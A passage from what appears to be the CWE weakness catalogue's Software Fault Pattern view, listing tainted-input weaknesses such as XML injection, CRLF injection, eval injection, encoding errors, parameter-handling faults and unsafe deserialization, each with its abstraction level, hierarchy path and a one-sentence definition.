*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.XML Injection (aka Blind XPath Injection) - (91)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 91 (XML Injection (aka Blind XPath Injection))
The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of CRLF Sequences ('CRLF Injection') - (93)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 93 (Improper Neutralization of CRLF Sequences ('CRLF Injection'))
The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') - (95)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 95 (Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection'))
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') - (96)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 96 (Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection'))
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Server-Side Includes (SSI) Within a Web Page - (97)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 97 (Improper Neutralization of Server-Side Includes (SSI) Within a Web Page)
The product generates a web page, but does not neutralize or incorrectly neutralizes user-controllable input that could be interpreted as a server-side include (SSI) directive.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Control of Resource Identifiers ('Resource Injection') - (99)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 99 (Improper Control of Resource Identifiers ('Resource Injection'))
The product receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.Insecure Direct Object Reference
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Tainted Input to Environment - (991)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 991 (SFP Secondary Cluster: Tainted Input to Environment)
This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Environment cluster (SFP27).
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Process Control - (114)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 991 (SFP Secondary Cluster: Tainted Input to Environment) > 114 (Process Control)
Executing commands or loading libraries from an untrusted source or in an untrusted environment can cause an application to execute malicious commands (and payloads) on behalf of an attacker.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Uncontrolled Search Path Element - (427)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 991 (SFP Secondary Cluster: Tainted Input to Environment) > 427 (Uncontrolled Search Path Element)
The product uses a fixed or controlled search path to find resources, but one or more locations in that path can be under the control of unintended actors.DLL preloadingBinary plantingInsecure library loadingDependency confusion
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') - (470)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 991 (SFP Secondary Cluster: Tainted Input to Environment) > 470 (Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection'))
The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.Reflection Injection
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Modification of Assumed-Immutable Data (MAID) - (471)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 991 (SFP Secondary Cluster: Tainted Input to Environment) > 471 (Modification of Assumed-Immutable Data (MAID))
The product does not properly protect an assumed-immutable element from being modified by an attacker.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.External Control of Assumed-Immutable Web Parameter - (472)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 991 (SFP Secondary Cluster: Tainted Input to Environment) > 472 (External Control of Assumed-Immutable Web Parameter)
The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.Assumed-Immutable Parameter Tampering
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.PHP External Variable Modification - (473)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 991 (SFP Secondary Cluster: Tainted Input to Environment) > 473 (PHP External Variable Modification)
A PHP application does not properly protect against the modification of variables from external sources, such as query parameters or cookies. This can expose the application to numerous weaknesses that would not exist otherwise.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Download of Code Without Integrity Check - (494)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 991 (SFP Secondary Cluster: Tainted Input to Environment) > 494 (Download of Code Without Integrity Check)
The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Validation of Function Hook Arguments - (622)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 991 (SFP Secondary Cluster: Tainted Input to Environment) > 622 (Improper Validation of Function Hook Arguments)
The product adds hooks to user-accessible API functions, but it does not properly validate the arguments. This could lead to resultant vulnerabilities.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.External Influence of Sphere Definition - (673)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 991 (SFP Secondary Cluster: Tainted Input to Environment) > 673 (External Influence of Sphere Definition)
The product does not prevent the definition of control spheres from external actors.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Control of Generation of Code ('Code Injection') - (94)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 991 (SFP Secondary Cluster: Tainted Input to Environment) > 94 (Improper Control of Generation of Code ('Code Injection'))
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Faulty Input Transformation - (992)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 992 (SFP Secondary Cluster: Faulty Input Transformation)
This category identifies Software Fault Patterns (SFPs) within the Faulty Input Transformation cluster.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Encoding or Escaping of Output - (116)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 992 (SFP Secondary Cluster: Faulty Input Transformation) > 116 (Improper Encoding or Escaping of Output)
The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.Output SanitizationOutput ValidationOutput Encoding
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Missing Special Element - (166)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 992 (SFP Secondary Cluster: Faulty Input Transformation) > 166 (Improper Handling of Missing Special Element)
The product receives input from an upstream component, but it does not handle or incorrectly handles when an expected special element is missing.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Additional Special Element - (167)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 992 (SFP Secondary Cluster: Faulty Input Transformation) > 167 (Improper Handling of Additional Special Element)
The product receives input from an upstream component, but it does not handle or incorrectly handles when an additional unexpected special element is provided.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Inconsistent Special Elements - (168)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 992 (SFP Secondary Cluster: Faulty Input Transformation) > 168 (Improper Handling of Inconsistent Special Elements)
The product does not properly handle input in which an inconsistency exists between two or more special characters or reserved words.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Encoding Error - (172)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 992 (SFP Secondary Cluster: Faulty Input Transformation) > 172 (Encoding Error)
The product does not properly encode or decode the data, resulting in unexpected values.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Alternate Encoding - (173)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 992 (SFP Secondary Cluster: Faulty Input Transformation) > 173 (Improper Handling of Alternate Encoding)
The product does not properly handle when an input uses an alternate encoding that is valid for the control sphere to which the input is being sent.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Double Decoding of the Same Data - (174)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 992 (SFP Secondary Cluster: Faulty Input Transformation) > 174 (Double Decoding of the Same Data)
The product decodes the same input twice, which can limit the effectiveness of any protection mechanism that occurs in between the decoding operations.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Mixed Encoding - (175)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 992 (SFP Secondary Cluster: Faulty Input Transformation) > 175 (Improper Handling of Mixed Encoding)
The product does not properly handle when the same input uses several different (mixed) encodings.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Unicode Encoding - (176)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 992 (SFP Secondary Cluster: Faulty Input Transformation) > 176 (Improper Handling of Unicode Encoding)
The product does not properly handle when an input contains Unicode encoding.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of URL Encoding (Hex Encoding) - (177)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 992 (SFP Secondary Cluster: Faulty Input Transformation) > 177 (Improper Handling of URL Encoding (Hex Encoding))
The product does not properly handle when all or part of an input has been URL encoded.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Case Sensitivity - (178)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 992 (SFP Secondary Cluster: Faulty Input Transformation) > 178 (Improper Handling of Case Sensitivity)
The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Incorrect Behavior Order: Early Validation - (179)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 992 (SFP Secondary Cluster: Faulty Input Transformation) > 179 (Incorrect Behavior Order: Early Validation)
The product validates input before applying protection mechanisms that modify the input, which could allow an attacker to bypass the validation via dangerous inputs that only arise after the modification.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Incorrect Behavior Order: Validate Before Canonicalize - (180)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 992 (SFP Secondary Cluster: Faulty Input Transformation) > 180 (Incorrect Behavior Order: Validate Before Canonicalize)
The product validates input before it is canonicalized, which prevents the product from detecting data that becomes invalid after the canonicalization step.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Incorrect Behavior Order: Validate Before Filter - (181)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 992 (SFP Secondary Cluster: Faulty Input Transformation) > 181 (Incorrect Behavior Order: Validate Before Filter)
The product validates data before it has been filtered, which prevents the product from detecting data that becomes invalid after the filtering step.Validate-before-cleanse
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Collapse of Data into Unsafe Value - (182)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 992 (SFP Secondary Cluster: Faulty Input Transformation) > 182 (Collapse of Data into Unsafe Value)
The product filters data in a way that causes it to be reduced or "collapsed" into an unsafe value that violates an expected security property.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Incorrect Input Handling - (993)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 993 (SFP Secondary Cluster: Incorrect Input Handling)
This category identifies Software Fault Patterns (SFPs) within the Incorrect Input Handling cluster.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Use of Incorrect Byte Ordering - (198)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 993 (SFP Secondary Cluster: Incorrect Input Handling) > 198 (Use of Incorrect Byte Ordering)
The product receives input from an upstream component, but it does not account for byte ordering (e.g. big-endian and little-endian) when processing the input, causing an incorrect number or value to be used.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Handling of Syntactically Invalid Structure - (228)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 993 (SFP Secondary Cluster: Incorrect Input Handling) > 228 (Improper Handling of Syntactically Invalid Structure)
The product does not handle or incorrectly handles input that is not syntactically well-formed with respect to the associated specification.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Values - (229)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 993 (SFP Secondary Cluster: Incorrect Input Handling) > 229 (Improper Handling of Values)
The product does not properly handle when the expected number of values for parameters, fields, or arguments is not provided in input, or if those values are undefined.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Missing Values - (230)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 993 (SFP Secondary Cluster: Incorrect Input Handling) > 230 (Improper Handling of Missing Values)
The product does not handle or incorrectly handles when a parameter, field, or argument name is specified, but the associated value is missing, i.e. it is empty, blank, or null.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Extra Values - (231)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 993 (SFP Secondary Cluster: Incorrect Input Handling) > 231 (Improper Handling of Extra Values)
The product does not handle or incorrectly handles when more values are provided than expected.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Undefined Values - (232)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 993 (SFP Secondary Cluster: Incorrect Input Handling) > 232 (Improper Handling of Undefined Values)
The product does not handle or incorrectly handles when a value is not defined or supported for the associated parameter, field, or argument name.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Parameters - (233)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 993 (SFP Secondary Cluster: Incorrect Input Handling) > 233 (Improper Handling of Parameters)
The product does not properly handle when the expected number of parameters, fields, or arguments is not provided in input, or if those parameters are undefined.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Failure to Handle Missing Parameter - (234)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 993 (SFP Secondary Cluster: Incorrect Input Handling) > 234 (Failure to Handle Missing Parameter)
If too few arguments are sent to a function, the function will still pop the expected number of arguments from the stack. Potentially, a variable number of arguments could be exhausted in a function as well.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Extra Parameters - (235)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 993 (SFP Secondary Cluster: Incorrect Input Handling) > 235 (Improper Handling of Extra Parameters)
The product does not handle or incorrectly handles when the number of parameters, fields, or arguments with the same name exceeds the expected amount.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Undefined Parameters - (236)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 993 (SFP Secondary Cluster: Incorrect Input Handling) > 236 (Improper Handling of Undefined Parameters)
The product does not handle or incorrectly handles when a particular parameter, field, or argument name is not defined or supported by the product.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Structural Elements - (237)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 993 (SFP Secondary Cluster: Incorrect Input Handling) > 237 (Improper Handling of Structural Elements)
The product does not handle or incorrectly handles inputs that are related to complex structures.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Incomplete Structural Elements - (238)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 993 (SFP Secondary Cluster: Incorrect Input Handling) > 238 (Improper Handling of Incomplete Structural Elements)
The product does not handle or incorrectly handles when a particular structural element is not completely specified.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Failure to Handle Incomplete Element - (239)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 993 (SFP Secondary Cluster: Incorrect Input Handling) > 239 (Failure to Handle Incomplete Element)
The product does not properly handle when a particular element is not completely specified.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Inconsistent Structural Elements - (240)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 993 (SFP Secondary Cluster: Incorrect Input Handling) > 240 (Improper Handling of Inconsistent Structural Elements)
The product does not handle or incorrectly handles when two or more structural elements should be consistent, but are not.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Unexpected Data Type - (241)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 993 (SFP Secondary Cluster: Incorrect Input Handling) > 241 (Improper Handling of Unexpected Data Type)
The product does not handle or incorrectly handles when a particular element is not the expected type, e.g. it expects a digit (0-9) but is provided with a letter (A-Z).
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Insufficient Type Distinction - (351)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 993 (SFP Secondary Cluster: Incorrect Input Handling) > 351 (Insufficient Type Distinction)
The product does not properly distinguish between different types of elements in a way that leads to insecure behavior.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Validation of Integrity Check Value - (354)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 993 (SFP Secondary Cluster: Incorrect Input Handling) > 354 (Improper Validation of Integrity Check Value)
The product does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Tainted Input to Variable - (994)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 994 (SFP Secondary Cluster: Tainted Input to Variable)
This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Variable cluster (SFP25).
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.External Control of System or Configuration Setting - (15)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 994 (SFP Secondary Cluster: Tainted Input to Variable) > 15 (External Control of System or Configuration Setting)
One or more system settings or configuration elements can be externally controlled by a user.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Input Validation - (20)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 994 (SFP Secondary Cluster: Tainted Input to Variable) > 20 (Improper Input Validation)
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.External Initialization of Trusted Variables or Data Stores - (454)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 994 (SFP Secondary Cluster: Tainted Input to Variable) > 454 (External Initialization of Trusted Variables or Data Stores)
The product initializes critical internal variables or data stores using inputs that can be modified by untrusted actors.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Public Data Assigned to Private Array-Typed Field - (496)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 994 (SFP Secondary Cluster: Tainted Input to Variable) > 496 (Public Data Assigned to Private Array-Typed Field)
Assigning public data to a private array is equivalent to giving public access to the array.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Deserialization of Untrusted Data - (502)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 994 (SFP Secondary Cluster: Tainted Input to Variable) > 502 (Deserialization of Untrusted Data)
The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid.Marshaling, UnmarshalingPickling, UnpicklingPHP Object Injection
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Authorization Bypass Through User-Controlled SQL Primary Key - (566)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 994 (SFP Secondary Cluster: Tainted Input to Variable) > 566 (Authorization Bypass Through User-Controlled SQL Primary Key)
The product uses a database table that includes records that should not be accessible to an actor, but it executes a SQL statement with a primary key that can be controlled by that actor.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Unchecked Input for Loop Condition - (606)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 994 (SFP Secondary Cluster: Tainted Input to Variable) > 606 (Unchecked Input for Loop Condition)
